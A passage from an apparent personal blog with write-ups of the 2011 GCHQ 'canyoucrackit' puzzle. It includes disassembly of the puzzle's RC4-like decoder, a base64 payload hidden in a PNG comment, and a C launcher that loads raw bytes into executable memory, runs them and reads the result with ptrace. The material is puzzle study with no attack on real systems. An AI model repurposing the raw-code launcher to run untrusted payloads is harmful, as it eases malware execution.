 33 : 0x210 : 53 30 11 42 f6 f1 b1 e6 c3 cc f8 c5 e4 cc c0 d3 | S0.B............
 34 : 0x220 : 85 fd 9a e3 e6 81 b5 bb d7 cd 87 a3 d3 6b 36 6f | .............k6o
 35 : 0x230 : 6f 66 55 30 16 45 5e 09 74 5c 3f 29 2b 66 3d 0d | ofU0.E^.t\?)+f=.
 36 : 0x240 : 02 30 28 35 15 09 15 dd ec b8 e2 fb d8 cb d8 d1 | .0(5............
 37 : 0x250 : 8b d5 82 d9 9a f1 92 ab e8 a6 d6 d0 8c aa d2 94 | ................
 38 : 0x260 : cf 45 46 67 20 7d 44 14 6b 45 6d 54 03 17 60 62 | .EFg }D.kEmT..`b
 39 : 0x270 : 55 5a 4a 66 61 11 57 68 75 05 62 36 7d 02 10 4b | UZJfa.Whu.b6}..K
 40 : 0x280 : 08 22 42 32 ba e2 b9 e2 d6 b9 ff c3 e9 8a 8f c1 | ."B2............
 41 : 0x290 : 8f e1 b8 a4 96 f1 8f 81 b1 8d 89 cc d4 78 76 61 | .............xva
 42 : 0x2a0 : 72 3e 37 23 56 73 71 79 63 7c 08 11 20 69 7a 14 | r>7#Vsqyc|.. iz.
 43 : 0x2b0 : 68 05 21 1e 32 27 59 b7 cf ab dd d5 cc 97 93 f2 | h.!.2'Y.........
 44 : 0x2c0 : e7 c0 eb ff e9 a3 bf a1 ab 8b bb 9e 9e 8c a0 c1 | ................
 45 : 0x2d0 : 9b 5a 2f 2f 4e 4e 00 00 00 00 00 00 00 00 00 00 | .Z//NN..........
 46 : 0x2e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
 47 : 0x2f0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

So you can see our decoded string is GET ...
[+] Initializing VM CPU
[+] Executing bytecode
[+] Finished executing bytecode
[+] Answer: 'GET /da75370fe15c4148bd4ceec861fbdaa5.exe HTTP/1.0'

But after the GET, we have 256+ bytes that has not been modified in any way ...
Someone found what it is? (and no it does not seem to be a valid 7zip file :().

Conclusion

This level was more interesting and more programming related.
Implementing a VM was something I never did before ... but was fun :).
Any person who did some "Computer Science" should thus be able to solve this level without much difficulties.

To be continued on the next level ...

m_101

- My solutions: here

jeudi 1 décembre 2011

GCHQ Challenge Part 1 - http://www.canyoucrackit.co.uk/

Hello,

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Today I stumbled upon a challenge that seems to come from GCHQ itself.
GCHQ is basically part of the UK's Secret Service.

An article describing a bit the recruitment campaign:
GCHQ challenges codebreakers via social networks

Anyway, the challenge is located here:
http://www.canyoucrackit.co.uk/

The challenge is divided in 3 parts, the first part of which we see on the front page of the website.

Let's break it!


The challenge

We have a picture with hex digits:




From there, I've got 2 theories of what that is:
- raw data
- machine code

First of all, we need to get those "hex digits" down to binary form and hell yeah ... we're lazy:
$ gocr cyber.png

You get most of the digits but you have to fix it to get this:

eb 04 af c2 bf a3 81 ec  OO 01 OO OO 31 c9 88 Oc
Oc fe c1 75 f9 31 cO ba  ef be ad de 02 04 Oc OO
dO c1 ca 08 8a 1c Oc 8a  3c 04 88 1c 04 88 3c Oc
fe c1 75 e8 e9 5c OO OO  OO 89 e3 81 c3 04 OO OO
OO 5c 58 3d 41 41 41 41  75 43 58 3d 42 42 42 42
75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89
d1 89 df 29 cf 31 cO 31  db 31 d2 fe cO 02 1c 06
8a 14 06 8a 34 1e 88 34  06 88 14 1e OO f2 30 f6
8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89
d8 fe cO cd 80 9O 9O e8  9d ff ff ff 41 41 41 41

Okay, let's check the raw data we have:

$ hexdump -C gchq-part1.bin 
00000000  eb 04 af c2 bf a3 81 ec  00 01 00 00 31 c9 88 0c  |............1...|
00000010  0c fe c1 75 f9 31 c0 ba  ef be ad de 02 04 0c 00  |...u.1..........|
00000020  d0 c1 ca 08 8a 1c 0c 8a  3c 04 88 1c 04 88 3c 0c  |........<.....<.|
00000030  fe c1 75 e8 e9 5c 00 00  00 89 e3 81 c3 04 00 00  |..u..\..........|
00000040  00 5c 58 3d 41 41 41 41  75 43 58 3d 42 42 42 42  |.\X=AAAAuCX=BBBB|
00000050  75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89  |u;Z......)......|
00000060  d1 89 df 29 cf 31 c0 31  db 31 d2 fe c0 02 1c 06  |...).1.1.1......|
00000070  8a 14 06 8a 34 1e 88 34  06 88 14 1e 00 f2 30 f6  |....4..4......0.|
00000080  8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89  |.....0...GIu.1..|
00000090  d8 fe c0 cd 80 90 90 e8  9d ff ff ff 41 41 41 41  |............AAAA|

I do not recognize any particular magic header value (no MZ or ELF or any executable related.
Let's go on our second hypothesis.

Is it machine code?

The first thing that set up red flags about machine code is the first byte: 0xeb!
0xeb for anyone used to shellcode is the opcode corresponding to an inconditionnal jmp on x86 processors.

I believe there must be some construct like this (as usual) or not too far from it:
jmp savepc

getpc:
     pop pc
     jmp payload

savepc:
     call getpc

payload:

For disassembling the file, I used ndisasm and cleaned a bit with some custom tools and vim.

Let's see the reconstructed code:

bits 32

section .text
    global main

main:
    jmp short begin

key0: dd 0xa3bfc2af

; let's make some space for our buffer!
begin:
    sub esp, 0x100

; we init our buffer with value from 0 to 255
xor ecx, ecx
init_array:
    mov [esp+ecx], cl
    inc cl
    jnz init_array

; shuffle values in the array
xor eax, eax
mov edx, 0xdeadbeef
shuffle:
    add al, [esp+ecx]   ; al += array[ecx]
    add al, dl          ; index = al + dl
    ror edx, 0x8        ; every 4 rotations we get our original value ;)
    ; we swap values
    mov bl, [esp+ecx]   ; bl = array[ecx]
    mov bh, [esp+eax]   ; bh = array[ecx]
    mov [esp+eax], bl   ; array[eax] = bl
    mov [esp+ecx], bh   ; array[ecx] = bh
    inc cl              ; go forward in our array
    jnz shuffle

    jmp dword save_pc

get_encoded:
    mov ebx, esp                ; pointer ebx to ret address on stack
    add ebx, strict dword 0x4   ; address of array (ignoring the ret address on the stack ;))
    pop esp                     ; esp = program counter (point after the call to get_encoded)
    pop eax                     ; first 4 bytes after the call
    cmp eax, 0x41414141
    jnz exit

    pop eax                     ; next 4 bytes after the call
    cmp eax, 0x42424242
    jnz exit

    ; copy message to buffer in stack
    pop edx         ; get length of message 
    mov ecx, edx    ; ecx = len(msg)
    mov esi, esp    ; esi = &msg
    mov edi, ebx    ; edi = address of array
    sub edi, ecx    ; edi = ebx - len(msg) = start of dest area
    rep movsb       ; copying the message to the stack (writing over array)

; init for decoding encoded message
    mov esi, ebx    ; esi = &buffer
    mov ecx, edx    ; ecx = len(msg)
    mov edi, ebx    ; edi = &buffer
    sub edi, ecx    ; edi = ebx - len(msg) = start of dest area
    xor eax, eax
    xor ebx, ebx
    xor edx, edx

; loop for decoding the secret message
decode:
    inc al
    add bl, [esi+eax]   ; get one byte of encoded message
    mov dl, [esi+eax]   ; get one byte of encoded message
    mov dh, [esi+ebx]   ; get one byte of encoded message
    ; swap values back
    mov [esi+eax], dh
    mov [esi+ebx], dl
    add dl, dh          ; get index
    ; decode byte
    xor dh, dh          
    mov bl, [esi+edx]   ; get key
    mov dl, [edi]       ; get encoded byte
    xor dl, bl          ; decode byte
    ; save byte
    mov [edi], dl
    ; loop
    inc edi
    dec ecx
    jnz decode

exit:
    xor ebx, ebx
    mov eax, ebx
    inc al
    int 0x80

save_pc:
    nop
    nop
    call dword get_encoded

junk1: dd 0x41414141

The first part (init_array and shuffle) looks like some RC4 variant.
Then we decode it using our RC4 variant ... but wait ... there is data missing!
Where is the encoded message?

If you look at the beginning of the PNG file you can see an encoded base64 string:

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 02 e4 00 00 01 04  08 02 00 00 00 ef 6a b6  |..............j.|
00000020  2d 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |-....sRGB.......|
00000030  00 09 70 48 59 73 00 00  0b 13 00 00 0b 13 01 00  |..pHYs..........|
00000040  9a 9c 18 00 00 00 07 74  49 4d 45 07 db 08 05 0e  |.......tIME.....|
00000050  12 33 7e 39 c1 70 00 00  00 5d 69 54 58 74 43 6f  |.3~9.p...]iTXtCo|
00000060  6d 6d 65 6e 74 00 00 00  00 00 51 6b 4a 43 51 6a  |mment.....QkJCQj|
00000070  49 41 41 41 43 52 32 50  46 74 63 43 41 36 71 32  |IAAACR2PFtcCA6q2|
00000080  65 61 43 38 53 52 2b 38  64 6d 44 2f 7a 4e 7a 4c  |eaC8SR+8dmD/zNzL|
00000090  51 43 2b 74 64 33 74 46  51 34 71 78 38 4f 34 34  |QC+td3tFQ4qx8O44|
000000a0  37 54 44 65 75 5a 77 35  50 2b 30 53 73 62 45 63  |7TDeuZw5P+0SsbEc|
000000b0  59 52 0a 37 38 6a 4b 4c  77 3d 3d 32 ca be f1 00  |YR.78jKLw==2....|
000000c0  00 20 00 49 44 41 54 78  da ec bd 79 74 1c d5 b5  |. .IDATx...yt...|

The base64 string "QkJCQjIAAACR2PFtcCA6q2eaC8SR+8dmD/zNzLQC+td3tFQ4qx8O447TDeuZw5P+0SsbEcYR78jKLw=" decodes to the following:

junk2: dd 0x42424242
msg_length: dd 0x00000032
msg_encoded: db `\x91\xd8\xf1\x6d\x70\x20\x3a\xab\x67\x9a\x0b\xc4\x91\xfb\xc7\x66\x0f\xfc\xcd\xcc\xb4\x02\xfa\xd7\x77\xb4\x54\x38\xab\x1f\x0e\xe3\x8e\xd3\x0d\xeb\x99\xc3\x93\xfe\xd1\x2b\x1b\x11\xc6\x11\xef\xc8\xca\x2f`


It is a NASM source which correspond bit to bit to the original gchq.bin ;).:
$ nasm gchq.asm
So the first challenge basically consist in executing the code and dumping the decoded string.

Let's dump the decoded string!

For this part, I did no want to patch the binary code as I would deem it inelegant.
Instead, I chose to write a "launcher" and ptrace our gchq code :).

Here it is:


// @author  m_101
// @year    2011
// @desc    Program for launching GCHQ code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <string.h>

// for memalign, mprotect
#include <sys/mman.h>
#include <errno.h>
#include <malloc.h>
#include <signal.h>

// ptrace
#include <sys/ptrace.h>
// for registers
#include <sys/user.h>

#define __NR_exit   1
#define MSG_LENGTH  0x32

// launch a file
int launch_file (char *filename) {
    //
    char *mem;
    void (*func)();
    // file related
    FILE *fp;
    int szFile;

    if (!filename)
        return -1;

    // open file
    fp = fopen(filename, "r");
    if (!fp) {
        fprintf(stderr, "error: Failed opening (r): %s\n", filename);
        exit(1);
    }

    // get file size
    fseek(fp, 0, SEEK_END);
    szFile = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    printf("[+] File size: %d\n", szFile);

    // alloc aligned memory for file
    mem = memalign(PAGE_SIZE, szFile * sizeof(*mem));
    if (!mem) {
        printf("[-] error: %s\n", strerror(errno));
        return 1;
    }
    memset(mem, 0, szFile * sizeof(*mem));

    // fill mem
    fread(mem, sizeof(*mem), szFile, fp);

    // set permissions
    if (mprotect(mem, szFile * sizeof(*mem), PROT_READ | PROT_WRITE | PROT_EXEC)) {
        printf("[-] error: %s\n", strerror(errno));
        return 1;
    }

    // close file
    fclose(fp);

    // execute code
    printf("[+] Executing code at address %p\n", mem);
    func = (void *) mem;
    func();

    return 0;
}

void regs_show (struct user_regs_struct *regs) {
    if (!regs)
        return;

    printf("eax: 0x%08lx\n", regs->orig_eax);
    printf("ebx: 0x%08lx\n", regs->ebx);
    printf("ecx: 0x%08lx\n", regs->ecx);
    printf("edx: 0x%08lx\n", regs->edx);
    printf("esi: 0x%08lx\n", regs->esi);
    printf("edi: 0x%08lx\n", regs->edi);
    printf("ebp: 0x%08lx\n", regs->ebp);
    printf("esp: 0x%08lx\n", regs->esp);
    printf("eip: 0x%08lx\n", regs->eip);
    printf("eflags: 0x%08lx\n", regs->eflags);
    printf("cs: 0x%08lx\n", regs->xcs);
    printf("ds: 0x%08lx\n", regs->xds);
    printf("es: 0x%08lx\n", regs->xes);
    printf("fs: 0x%08lx\n", regs->xfs);
    printf("gs: 0x%08lx\n", regs->xgs);
    printf("ss: 0x%08lx\n", regs->xss);
}

int main (int argc, char *argv[]) {
    int retcode;
    pid_t cpid;
    struct user_regs_struct regs = {0};
    int cstatus;
    // for ptrace
    int syscall;
    // dump memory of child process
    char decoded[MSG_LENGTH * 2] = {0};
    uint32_t word;
    uint32_t addr;
    int offset;


    // check number of arguments
    if (argc < 2) {
        printf("Usage: %s filename\n", argv[0]);
        return -1;
    }

    cpid = fork();
    // child
    if (cpid == 0) {
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        raise(SIGTRAP);
        launch_file(argv[1]);
    }
    // parent
    else if (cpid > 0) {
        // wait for child
        waitpid(cpid, &cstatus, 0);

        // trace the process to arrive to the exit syscall
        do {
            // get at syscall entry
            ptrace(PTRACE_SYSCALL, cpid, NULL, NULL);
            waitpid(cpid, &cstatus, 0);

            // get registers of child process
            ptrace(PTRACE_GETREGS, cpid, NULL, ®s);
            syscall = regs.orig_eax;

            // we are at exit syscall
            // then we finish the loop and do more processing
            if (syscall != __NR_exit) {
                // wait for syscall to complete
                // and avoid exiting process
                ptrace(PTRACE_SYSCALL, cpid, NULL, NULL);
                waitpid(cpid, &cstatus, 0);
            }
        } while (syscall != __NR_exit);

        // get registers of child process
        ptrace(PTRACE_GETREGS, cpid, NULL, ®s);
        printf("== Registers\n");
        regs_show(®s);

        // dump decoded string
        addr = regs.esi - MSG_LENGTH;
        for (offset = 0; offset < MSG_LENGTH; offset += 4) {
            word = ptrace(PTRACE_PEEKDATA, cpid, addr + offset, NULL);
            // printf("word: 0x%08x\n", word);
            *((uint32_t *)(decoded+offset)) = word;
        }
        printf("\n[+] Decoded string: '%s'\n", decoded);

        // continue process (so it exits)
        ptrace(PTRACE_CONT, cpid, NULL, NULL);
    }
    // error
    else {
        printf("Failed fork\n");
    }

    return 0;
}

Now compile it using this command line:
$ gcc -m32 -g -o launcher launcher.c

You can now launch it:
$ ./launcher ./gchq 
[+] File size: 218
[+] Executing code at address 0x832f000
[+] Decoded string: 'GET /15b436de1f9107f3778aad525e5d0b20.js HTTP/1.1'

Pawned :).

Conclusion

Here we saw the first challenge of the GCHQ recruitment campaign, not too hard or not to bad for a first level :).

To be continued on the next level ;),

m_101

- My solutions: here